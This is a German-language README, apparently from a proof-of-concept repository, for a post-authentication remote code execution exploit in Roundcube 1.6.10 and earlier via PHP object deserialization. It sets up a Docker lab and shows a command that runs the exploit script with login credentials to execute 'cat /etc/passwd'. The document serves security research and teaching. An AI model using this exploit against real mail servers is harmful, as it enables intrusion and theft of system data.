
Post-Authentifizierungs-RCE-Exploit für Roundcube ≤ 1.6.10 via PHP-Objekt-Deserialisierung, mit Docker-basierter Laborumgebung und technischer Dokumentation für Sicherheitsforschung und -bildung.
Eine kritische Sicherheitslücke für Remote Code Execution nach der Authentifizierung wurde in Roundcube (Versionen ≤ 1.6.10) entdeckt, verursacht durch unsichere PHP-Objekt-Deserialisierung. Dieser schwerwiegende Fehler hat sich über 10 Jahre hinweg unbemerkt in der Codebasis gehalten.
Für die vollständige technische Ausarbeitung und Details zur Ausnutzung besuchen Sie:
👉 https://fearsoff.org/research/roundcube
Dies installiert Ubuntu 24.04, Roundcube und alle notwendigen Abhängigkeiten in einem Docker-Container:
docker run --name ubuntu24 \
-p 9876:80 \
-v "$PWD/rc_install.sh":/root/rc_install.sh \
-it ubuntu:24.04 \
bash -c "chmod +x /root/rc_install.sh && /root/rc_install.sh && exec bash"
⚠️ Hinweis: Nur in isolierten Umgebungen verwenden. Setzen Sie anfällige Instanzen nicht dem öffentlichen Internet aus.
Dieser Proof-of-Concept-Code dient nur zu Bildungs- und Forschungszwecken. Der Autor und die Mitwirkenden übernehmen keine Verantwortung für Missbrauch oder Schäden, die durch die Verwendung dieses Codes entstehen. Die unbefugte Nutzung auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal und strengstens untersagt.
Stellen Sie sicher, dass php auf dem System installiert ist
php CVE-2025-49113.php http://127.0.0.1:9876/ roundcube fearsoff.org "cat /etc/passwd > /tmp/pwned"
Wenn Sie Roundcube ≤ 1.6.10 verwenden, aktualisieren Sie sofort auf die neueste gepatchte Version, um diese Sicherheitslücke zu beseitigen.
Dieses Projekt und die zugehörige Dokumentation werden unter der MIT-Lizenz bereitgestellt.